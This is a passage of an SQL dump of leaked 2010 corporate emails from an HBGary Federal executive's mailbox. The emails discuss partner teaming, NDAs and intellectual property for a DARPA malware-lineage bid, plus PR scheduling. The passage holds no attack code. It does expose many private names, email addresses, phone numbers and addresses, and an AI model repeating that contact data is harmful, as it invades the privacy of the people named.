bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12926,'aaron_hbgary_com/12926.html'),(3456,'2010-03-03','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001704.M507720P3547Q3457.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','Aaron,\r\nWe are going to talk sometime this afternoon.  I still do not think that\r\nmy people are going to get the GC NDA approved and I doubt whether GD\r\nwill approve ours.  I would assume that GD legal has to approve our PIEA\r\njust like our legal has to approve their NDA.  We\'ll see.\r\n\r\nI am still working our own prop.  How much do you want to be a part of\r\nit?  As I mentioned yesterday, we would like the HBGary malware\r\nrepository.   We can license it if you wish.  Do you want workshare out\r\nof the program?  One thing that I need to include, as discussed\r\nyesterday, is to normalize the repositories of data and create the\r\nnormalized repository schema to include HBGary traits, characteristics\r\ngenerated by other tools, and other artifacts that are known about the\r\nmalware.  This serves two parts; one, we need to have a malware baseline\r\nto serve as ground truth (or as close to truth as you can get) and two,\r\nwhere analysis results are stored in a standardized format.  We need to\r\nperform an analysis of some set of malware to create the ground truth\r\ncontents.  You could do this as well. Do you have other thoughts on\r\nwhere/what you can contribute?\r\n\r\nI am thinking that it may be beneficial to show a linkage to your Task 3\r\nproposal.  Even if you build methods to show lineage of malware based on\r\ndigital artifacts, you still need to have the ability to generate the\r\nartifacts.  That is task 3\'s responsibility.  So, I am wondering if it\r\nwould be of interest to DARPA to show that we are going to track a task\r\n3 development effort and integrate capabilities from that as they become\r\navailable to get the overall capability to market sooner rather than\r\nlater.\r\n\r\nI need to know what you are thinking as far as contributions and cost.\r\nHow far do you want to go?  Be just a vendor supplier or more?  What\r\nwriting do you want to contribute?\r\n\r\nI have Ed Wagner from First IO on board. We are supposed to talk this\r\nafternoon.  \r\n\r\nBrian\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 9:35 AM\r\nTo: Masterson, Brian (Xetron); Christopher H. Starr\r\nSubject: Status\r\n\r\nBrian/Chris,\r\n\r\nJust checking on status of potential teaming?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',1022,'aaron_hbgary_com/1022.html'),(3457,'2010-03-03','\"Starr, Christopher H.\" <Chris.Starr@gd-ais.com>','/aaron@hbgary.com/new/1297001704.M98511P3547Q3455.eml','\"Dawn Song\" <dawnsong@cs.berkeley.edu>,\"Dawn Song\" <dawnsong@cs.berkeley.edu>','RE: NDA','Dawn,\r\n\r\nGeneral Dynamics needs to finalize an NDA with you as well.  Can you\r\ncontact Cindy Larson in our contracts office at Cindy.Larson@gd-ais.com\r\nor 480-441-4235\r\n\r\nThanks,\r\n\r\nChris\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: dawnsong@gmail.com [mailto:dawnsong@gmail.com] On Behalf Of Dawn\r\nSong\r\nSent: Wednesday, March 03, 2010 12:08 PM\r\nTo: Aaron Barr\r\nCc: Starr, Christopher H.\r\nSubject: Re: TA3\r\n\r\nAaron,\r\n  yes, I\'m interested in TA3. I\'ve been traveling, and also we\r\nnormally don\'t sign NDAs to avoid issues on publication restrictions.\r\nSo I\'ll need to look more into the NDA to see how we may be able to do\r\nthis. Thanks!\r\n\r\nOn Wed, Mar 3, 2010 at 6:34 AM, Aaron Barr  wrote:\r\n> Dawn,\r\n>\r\n> I want to make sure your interested in participating in TA3 and if so\r\nI would like to get in place an NDA as quickly as possible to get your\r\napproaches and work integrated.\r\n>\r\n> Thanks,\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\n\r\nthanks,\r\nDawn\r\n',8600,'aaron_hbgary_com/8600.html'),(3458,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001708.M53581P3547Q3458.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,,,,','Draft Outline','All,\r\n\r\nTed is going to update with some information and resend but wanted to get something in front of you to start adding comments to.  Really I want to agree on an outline for the SOW and what pieces people are going to write to.  There is some added material we have been tossing around to revolutionize our trait methodology, some of which Ted will be adding last minute based on a conversation we had with Greg this morning.\r\n\r\n\r\n',6688,'aaron_hbgary_com/6688.html'),(3459,'2010-03-03','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297001711.M870320P3547Q3459.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,penny@hbgary.com','HBGary tech brought to table','Team,\r\nAttached is the doc resulting from my talk w/ aaron and ted this morning.  I probably missed something along the way, so double check.\r\n \r\n-Greg\r\n',5720,'aaron_hbgary_com/5720.html'),(3460,'2010-03-03','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001714.M51727P3547Q3460.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Trynor Mark\" <mark.trynor@gmail.com>','Happy Mark','\r\n\r\n',15793,'aaron_hbgary_com/15793.html'),(3461,'2010-03-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001714.M592628P3547Q3461.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: A Booz exec in the news','Aaron,\r\n\r\nI forgot to copy you on this.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Quinlan, Thomas [USA] [mailto:quinlan_thomas@bah.com] \r\nSent: Wednesday, March 03, 2010 12:39 PM\r\nTo: Bob Slapnik; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nBob,\r\n\r\nI\'ve forwarded your email up to my supervisor.  Our principal (his boss) is\r\nout of the office until next week, but I will follow up.\r\n\r\nThanks.\r\n\r\n\r\nThomas J. Quinlan\r\nCISSP, EnCE, GREM\r\nBooz | Allen | Hamilton\r\n8283 Greensboro Drive\r\nMcLean, VA  22102\r\nT:  703-377-1797\r\nF:  703-902-3004\r\nwww.bah.com\r\n________________________________________\r\nFrom: Bob Slapnik [bob@hbgary.com]\r\nSent: 03 March 2010 12:00\r\nTo: Quinlan, Thomas [USA]; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nTom,\r\n\r\nIn his article Mr. McConnell prescribes an approach to the cyber security\r\nproblem by looking at four areas:\r\n1. attribution (understanding who attacked us),\r\n2. location (knowing where a strike came from),\r\n3. response (being able to respond, even if attacked first) and\r\n4. transparency (the enemy\'s knowledge of our capability and intent to\r\ncounter with massive force).\r\n\r\nThere is actually a big problem before #1 Attribution ==>> Detection or\r\nknowing you are being attacked.  Cyber attacks are often stealthy where the\r\ntarget is being exploited without knowing it.  You can\'t start working the\r\nattribution problem until you know about a specific attack.  Clearly,\r\nDigital DNA provides additional (and previously unavailable) host based\r\nindicators of compromise.\r\n\r\nFurthermore, HBGary has been working on the attribution problem.  With our\r\nautomated reverse engineering technologies we recover lots of low level\r\ninformation about malware.  Studying big sample sets of malware will help\r\n\"connect the dots\" of who is attacking.   Attribution is a very difficult\r\nproblem.  HBGary certainly will not \"solve\" the problem, but we believe we\r\ncan move the football down the field toward the goal.\r\n\r\nGreg Hoglund, CEO of HBGary, and Aaron Barr, CEO of HBGary Federal, have\r\nbeen giving considerable thought to the attribution problem.  Aaron is\r\ncopied on this email.  He may add some meat to the conversation.  He may not\r\nreply for awhile because he is heads-down working on proposals for the DARPA\r\nCyber Genome project which is due within 2 weeks.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Quinlan, Thomas [USA] [mailto:quinlan_thomas@bah.com]\r\nSent: Wednesday, March 03, 2010 11:08 AM\r\nTo: Bob Slapnik; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nBob,\r\n\r\nHeh, I certainly don\'t have that level of access, but I\'ve inquired as to\r\nwhat would be involved in arranging a meeting.\r\n\r\nWould you have an agenda that we could pass along?\r\n\r\nThanks.\r\n\r\n\r\nThomas J. Quinlan\r\nCISSP, EnCE, GREM\r\nBooz | Allen | Hamilton\r\n8283 Greensboro Drive\r\nMcLean, VA  22102\r\nT:  703-377-1797\r\nF:  703-902-3004\r\nwww.bah.com\r\n________________________________________\r\nFrom: Bob Slapnik [bob@hbgary.com]\r\nSent: 02 March 2010 15:59\r\nTo: Geneste, Philip [USA]; Quinlan, Thomas [USA]; Stonesifer, Frederic [USA]\r\nSubject: A Booz exec in the news\r\n\r\nPhil, Tom and Ric,\r\n\r\nMike McConnell, Executive VP of Booz Allen, wrote a great article in the\r\nWashington Post article on the cyber war.\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/02/25/AR2010022502\r\n493.html\r\n\r\nAny chance you guys could arrange a meeting between HBGary and him?  I\'ll\r\ntake Rich Cummings with me.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n02:34:00\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n02:34:00\r\n\r\n',4135,'aaron_hbgary_com/4135.html'),(3462,'2010-03-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001716.M248475P3547Q3463.eml','\"Quinlan, Thomas [USA]\" <quinlan_thomas@bah.com>,\"Geneste, Philip [USA]\" <geneste_philip@bah.com>,\"Stonesifer, Frederic [USA]\" <stonesifer_frederic@bah.com>,\"Quinlan, Thomas [USA]\" <quinlan_thomas@bah.com>','RE: A Booz exec in the news','Tom,\r\n\r\nCool.  Once I get my hands on more detailed info about our approach to the\r\nattribution problem, I will forward it to you.\r\n\r\nBob\r\n\r\n-----Original Message-----\r\nFrom: Quinlan, Thomas [USA] [mailto:quinlan_thomas@bah.com] \r\nSent: Wednesday, March 03, 2010 12:39 PM\r\nTo: Bob Slapnik; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nBob,\r\n\r\nI\'ve forwarded your email up to my supervisor.  Our principal (his boss) is\r\nout of the office until next week, but I will follow up.\r\n\r\nThanks.\r\n\r\n\r\nThomas J. Quinlan\r\nCISSP, EnCE, GREM\r\nBooz | Allen | Hamilton\r\n8283 Greensboro Drive\r\nMcLean, VA  22102\r\nT:  703-377-1797\r\nF:  703-902-3004\r\nwww.bah.com\r\n________________________________________\r\nFrom: Bob Slapnik [bob@hbgary.com]\r\nSent: 03 March 2010 12:00\r\nTo: Quinlan, Thomas [USA]; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nTom,\r\n\r\nIn his article Mr. McConnell prescribes an approach to the cyber security\r\nproblem by looking at four areas:\r\n1. attribution (understanding who attacked us),\r\n2. location (knowing where a strike came from),\r\n3. response (being able to respond, even if attacked first) and\r\n4. transparency (the enemy\'s knowledge of our capability and intent to\r\ncounter with massive force).\r\n\r\nThere is actually a big problem before #1 Attribution ==>> Detection or\r\nknowing you are being attacked.  Cyber attacks are often stealthy where the\r\ntarget is being exploited without knowing it.  You can\'t start working the\r\nattribution problem until you know about a specific attack.  Clearly,\r\nDigital DNA provides additional (and previously unavailable) host based\r\nindicators of compromise.\r\n\r\nFurthermore, HBGary has been working on the attribution problem.  With our\r\nautomated reverse engineering technologies we recover lots of low level\r\ninformation about malware.  Studying big sample sets of malware will help\r\n\"connect the dots\" of who is attacking.   Attribution is a very difficult\r\nproblem.  HBGary certainly will not \"solve\" the problem, but we believe we\r\ncan move the football down the field toward the goal.\r\n\r\nGreg Hoglund, CEO of HBGary, and Aaron Barr, CEO of HBGary Federal, have\r\nbeen giving considerable thought to the attribution problem.  Aaron is\r\ncopied on this email.  He may add some meat to the conversation.  He may not\r\nreply for awhile because he is heads-down working on proposals for the DARPA\r\nCyber Genome project which is due within 2 weeks.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\n\r\n-----Original Message-----\r\nFrom: Quinlan, Thomas [USA] [mailto:quinlan_thomas@bah.com]\r\nSent: Wednesday, March 03, 2010 11:08 AM\r\nTo: Bob Slapnik; Geneste, Philip [USA]; Stonesifer, Frederic [USA]\r\nSubject: RE: A Booz exec in the news\r\n\r\nBob,\r\n\r\nHeh, I certainly don\'t have that level of access, but I\'ve inquired as to\r\nwhat would be involved in arranging a meeting.\r\n\r\nWould you have an agenda that we could pass along?\r\n\r\nThanks.\r\n\r\n\r\nThomas J. Quinlan\r\nCISSP, EnCE, GREM\r\nBooz | Allen | Hamilton\r\n8283 Greensboro Drive\r\nMcLean, VA  22102\r\nT:  703-377-1797\r\nF:  703-902-3004\r\nwww.bah.com\r\n________________________________________\r\nFrom: Bob Slapnik [bob@hbgary.com]\r\nSent: 02 March 2010 15:59\r\nTo: Geneste, Philip [USA]; Quinlan, Thomas [USA]; Stonesifer, Frederic [USA]\r\nSubject: A Booz exec in the news\r\n\r\nPhil, Tom and Ric,\r\n\r\nMike McConnell, Executive VP of Booz Allen, wrote a great article in the\r\nWashington Post article on the cyber war.\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/02/25/AR2010022502\r\n493.html\r\n\r\nAny chance you guys could arrange a meeting between HBGary and him?  I\'ll\r\ntake Rich Cummings with me.\r\n\r\nBob Slapnik  |  Vice President  |  HBGary, Inc.\r\nOffice 301-652-8885 x104  | Mobile 240-481-1419\r\nwww.hbgary.com  |  bob@hbgary.com\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n02:34:00\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n02:34:00\r\n\r\n',7450,'aaron_hbgary_com/7450.html'),(3463,'2010-03-03','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001716.M26642P3547Q3462.eml','\"Arnold de Guzman\" <arnold@dcpatentlaw.com>,\"Kevin Roe\" <kevin.roe@att.net>,\"Arnold de Guzman\" <arnold@dcpatentlaw.com>,\"Kevin Roe\" <kevin.roe@att.net>','Need Stronger NDA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Arnold and Kevin,\r\n\r\n&nbsp;\r\n\r\nI am attaching our NDA which is mutual.&nbsp; We are going after\r\na DARPA bid for $43 Million on Digital Cyber Genome.&nbsp; ALL THE IP and IDEAS are\r\nHBGary&#8217;s.&nbsp; We do not want our partners taking our IP&nbsp; and developing a\r\nproduct based upon it.&nbsp; Can you please strengthen the NDA so we have IP\r\nprotection?\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13614,'aaron_hbgary_com/13614.html'),(3464,'2010-03-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297001716.M454049P3547Q3464.eml','aaron@hbgary.com','HBGary Federal News Announcements for March/April','Hi Aaron, I wanted to see if you are planning any news announcements for March or April. Right now, we are tentatively planning to announce our Verdasys OEM announcement on Monday March 15th. Penny has a few more that she would like to get out, and I wanted to see if you had anything coming up so I can help schedule them accordingly.\r\n&nbsp;\r\nThanks so much. Karen&nbsp;\r\n\r\n',14581,'aaron_hbgary_com/14581.html'),(3465,'2010-03-03','\"Arnold de Guzman\" <arnold@dcpatentlaw.com>','/aaron@hbgary.com/new/1297001716.M655333P3547Q3465.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Kevin Roe\" <kevin.roe@att.net>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Kevin Roe\" <kevin.roe@att.net>','RE: Need Stronger NDA','\r\n\r\n\r\n\r\n@font-face {\r\n	font-family: Cambria Math;\r\n}\r\n@font-face {\r\n	font-family: Calibri;\r\n}\r\n@page Section1 {size: 8.5in 11.0in; margin: 1.0in 1.0in 1.0in 1.0in; }\r\nP.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nLI.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nDIV.MsoNormal {\r\n	MARGIN: 0in 0in 0pt; FONT-FAMILY: \"Calibri\",\"sans-serif\"; FONT-SIZE: 11pt\r\n}\r\nA:link {\r\n	COLOR: blue; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nSPAN.MsoHyperlink {\r\n	COLOR: blue; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nA:visited {\r\n	COLOR: purple; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nSPAN.MsoHyperlinkFollowed {\r\n	COLOR: purple; TEXT-DECORATION: underline; mso-style-priority: 99\r\n}\r\nSPAN.EmailStyle17 {\r\n	FONT-FAMILY: \"Calibri\",\"sans-serif\"; COLOR: windowtext; mso-style-type: personal-compose\r\n}\r\n.MsoChpDefault {\r\n	mso-style-type: export-only\r\n}\r\nDIV.Section1 {\r\n	page: Section1\r\n}\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\nThank you, Penny.\r\nKevin will review it, and I will also coordinate with \r\nKevin.\r\n&nbsp;\r\nRegards,\r\n-Arnold\r\n&nbsp;\r\n\r\n\r\nFrom: Penny Leavy-Hoglund \r\n[mailto:penny@hbgary.com] Sent: Wednesday, March 03, 2010 10:27 \r\nAMTo: Arnold de Guzman; \'Kevin Roe\'Cc: \'Bob Slapnik\'; \r\n\'Aaron Barr\'Subject: Need Stronger NDA\r\n\r\n\r\nHI Arnold and Kevin,\r\n&nbsp;\r\nI am attaching our NDA which is mutual.&nbsp; We are going \r\nafter a DARPA bid for $43 Million on Digital Cyber Genome.&nbsp; ALL THE IP and \r\nIDEAS are HBGary&#8217;s.&nbsp; We do not want our partners taking our IP&nbsp; and \r\ndeveloping a product based upon it.&nbsp; Can you please strengthen the NDA so \r\nwe have IP protection?\r\n&nbsp;\r\nThanks\r\nPenny\r\n',10225,'aaron_hbgary_com/10225.html'),(3466,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001716.M923911P3547Q3466.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Happy Mark','I thought the pictures I sent of him last night were happier...\r\n\r\nLookin good.\r\n\r\n\r\nOn Mar 3, 2010, at 1:12 PM, Ted Vera wrote:\r\n\r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7099,'aaron_hbgary_com/7099.html'),(3467,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001717.M105012P3547Q3467.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: HBGary Federal News Announcements for March/April','I don\'t have anything right now, heads down working proposals for the next 10 days. &nbsp;Once I get my head out of this I will put some more thought into it.AaronOn Mar 3, 2010, at 1:27 PM, Karen Burke wrote:Hi Aaron, I wanted to see if you are planning any news announcements for March or April. Right now, we are tentatively planning to announce our Verdasys OEM announcement on Monday March 15th. Penny has a few more that she would like to get out, and I wanted to see if you had anything coming up so I can help schedule them accordingly.\r\n&nbsp;\r\nThanks so much. Karen&nbsp;\r\n\r\n      \r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',16627,'aaron_hbgary_com/16627.html'),(3468,'2010-03-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001717.M305279P3547Q3468.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Status','Hey Brian,\r\n\r\nNot sure how much I can contribute directly, also waiting for the teaming agreement for TA1 to see how restrictive they want the teaming to be.  There are some complication issues in that we want as much workshare out of our GD TA1 effort, there are some competing ideas from UCBerkley.  And then there is just time.  So let me give you a call later and we can talk through it a little bit, plus I am supposed to have a teaming agreement from GD this afternoon so I can tell what the language looks like.  Ugh.\r\n\r\nAt a minimum we can be a vendor for the feed.  We are having IP discussions internally about the traits themselves and the algorithms for detection, but then you don\'t need to do detection you need to do correlation, so different algorithms, use of fuzzy hashing, etc.  How do you determine closeness of malware.\r\n\r\nI have to tell you the GD folks bring more to the fundamentals of getting this together than I originally thought...on the normalization side that is.  I wasn\'t focused on that, sounds like your thinking about it as well.  But for TA3 we don\'t have to normalize.\r\n\r\nAaron\r\nOn Mar 3, 2010, at 12:40 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Aaron,\r\n> We are going to talk sometime this afternoon.  I still do not think that\r\n> my people are going to get the GC NDA approved and I doubt whether GD\r\n> will approve ours.  I would assume that GD legal has to approve our PIEA\r\n> just like our legal has to approve their NDA.  We\'ll see.\r\n> \r\n> I am still working our own prop.  How much do you want to be a part of\r\n> it?  As I mentioned yesterday, we would like the HBGary malware\r\n> repository.   We can license it if you wish.  Do you want workshare out\r\n> of the program?  One thing that I need to include, as discussed\r\n> yesterday, is to normalize the repositories of data and create the\r\n> normalized repository schema to include HBGary traits, characteristics\r\n> generated by other tools, and other artifacts that are known about the\r\n> malware.  This serves two parts; one, we need to have a malware baseline\r\n> to serve as ground truth (or as close to truth as you can get) and two,\r\n> where analysis results are stored in a standardized format.  We need to\r\n> perform an analysis of some set of malware to create the ground truth\r\n> contents.  You could do this as well. Do you have other thoughts on\r\n> where/what you can contribute?\r\n> \r\n> I am thinking that it may be beneficial to show a linkage to your Task 3\r\n> proposal.  Even if you build methods to show lineage of malware based on\r\n> digital artifacts, you still need to have the ability to generate the\r\n> artifacts.  That is task 3\'s responsibility.  So, I am wondering if it\r\n> would be of interest to DARPA to show that we are going to track a task\r\n> 3 development effort and integrate capabilities from that as they become\r\n> available to get the overall capability to market sooner rather than\r\n> later.\r\n> \r\n> I need to know what you are thinking as far as contributions and cost.\r\n> How far do you want to go?  Be just a vendor supplier or more?  What\r\n> writing do you want to contribute?\r\n> \r\n> I have Ed Wagner from First IO on board. We are supposed to talk this\r\n> afternoon.  \r\n> \r\n> Brian\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, March 03, 2010 9:35 AM\r\n> To: Masterson, Brian (Xetron); Christopher H. Starr\r\n> Subject: Status\r\n> \r\n> Brian/Chris,\r\n> \r\n> Just checking on status of potential teaming?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4965,'aaron_hbgary_com/4965.html'),(3469,'2010-03-03','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297001718.M572750P3547Q3469.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','Re: Draft Outline','Here is a an updated version.\r\n\r\nTed\r\n\r\n\r\n\r\nOn Wed, Mar 3, 2010 at 10:49 AM, Aaron Barr  wrote:\r\n> All,\r\n>\r\n> Ted is going to update with some information and resend but wanted to get something in front of you to start adding comments to.  Really I want to agree on an outline for the SOW and what pieces people are going to write to.  There is some added material we have been tossing around to revolutionize our trait methodology, some of which Ted will be adding last minute based on a conversation we had with Greg this morning.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',5354,'aaron_hbgary_com/5354.html'),(3470,'2010-03-03','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001718.M810276P3547Q3470.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: TA3 Discussions @ Wed Mar 3 2pm - 4pm (aaron@hbgary.com)',' more details &raquo;TA3 DiscussionsWhenWed Mar 3 2pm – 4pm Eastern TimeWhereTelecon: 256.325.4671         2214 Mt. Vernon Ave.Suite 300, Alexandria, VA (map)Calendaraaron@hbgary.comWho&#x2022;aaron@hbgary.com - organizer&#x2022;adam.frasier@pikewerks.com&#x2022;anitad@securedecisions.com&#x2022;cstarr@gmail.com&#x2022;bob@hbgary.com&#x2022;jason.upchurch@gd-ais.com&#x2022;ted@hbgary.com&#x2022;irby@pikewerks.comGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',3062,'aaron_hbgary_com/3062.html'),(3471,'2010-03-03','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001719.M66611P3547Q3471.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Status','Understand.  Give me a call later.  I have a 4PM haircut so 4-4:30 is\r\nbad.\r\nNeed to understand what the IP issue is with the traits.  Traits need to\r\nbe output as far as the characterization.  I would think the scoring\r\nengine is IP which you do not want out as would be the algorithms for\r\nactually determining which traits are present.\r\n\r\nNormalization and baselining has to be part of the upfront work.  You\r\nhave to be able to represent the data and its artifacts in a manner that\r\ncan be ingested efficiently for the tools to be able to execute against\r\nit.\r\n\r\nChris asked if I had time to talk today and I said that I did but I have\r\nnot heard back yet.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, March 03, 2010 1:47 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Status\r\n\r\nHey Brian,\r\n\r\nNot sure how much I can contribute directly, also waiting for the\r\nteaming agreement for TA1 to see how restrictive they want the teaming\r\nto be.  There are some complication issues in that we want as much\r\nworkshare out of our GD TA1 effort, there are some competing ideas from\r\nUCBerkley.  And then there is just time.  So let me give you a call\r\nlater and we can talk through it a little bit, plus I am supposed to\r\nhave a teaming agreement from GD this afternoon so I can tell what the\r\nlanguage looks like.  Ugh.\r\n\r\nAt a minimum we can be a vendor for the feed.  We are having IP\r\ndiscussions internally about the traits themselves and the algorithms\r\nfor detection, but then you don\'t need to do detection you need to do\r\ncorrelation, so different algorithms, use of fuzzy hashing, etc.  How do\r\nyou determine closeness of malware.\r\n\r\nI have to tell you the GD folks bring more to the fundamentals of\r\ngetting this together than I originally thought...on the normalization\r\nside that is.  I wasn\'t focused on that, sounds like your thinking about\r\nit as well.  But for TA3 we don\'t have to normalize.\r\n\r\nAaron\r\nOn Mar 3, 2010, at 12:40 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Aaron,\r\n> We are going to talk sometime this afternoon.  I still do not think\r\nthat\r\n> my people are going to get the GC NDA approved and I doubt whether GD\r\n> will approve ours.  I would assume that GD legal has to approve our\r\nPIEA\r\n> just like our legal has to approve their NDA.  We\'ll see.\r\n> \r\n> I am still working our own prop.  How much do you want to be a part of\r\n> it?  As I mentioned yesterday, we would like the HBGary malware\r\n> repository.   We can license it if you wish.  Do you want workshare\r\nout\r\n> of the program?  One thing that I need to include, as discussed\r\n> yesterday, is to normalize the repositories of data and create the\r\n> normalized repository schema to include HBGary traits, characteristics\r\n> generated by other tools, and other artifacts that are known about the\r\n> malware.  This serves two parts; one, we need to have a malware\r\nbaseline\r\n> to serve as ground truth (or as close to truth as you can get) and\r\ntwo,\r\n> where analysis results are stored in a standardized format.  We need\r\nto\r\n> perform an analysis of some set of malware to create the ground truth\r\n> contents.  You could do this as well. Do you have other thoughts on\r\n> where/what you can contribute?\r\n> \r\n> I am thinking that it may be beneficial to show a linkage to your Task\r\n3\r\n> proposal.  Even if you build methods to show lineage of malware based\r\non\r\n> digital artifacts, you still need to have the ability to generate the\r\n> artifacts.  That is task 3\'s responsibility.  So, I am wondering if it\r\n> would be of interest to DARPA to show that we are going to track 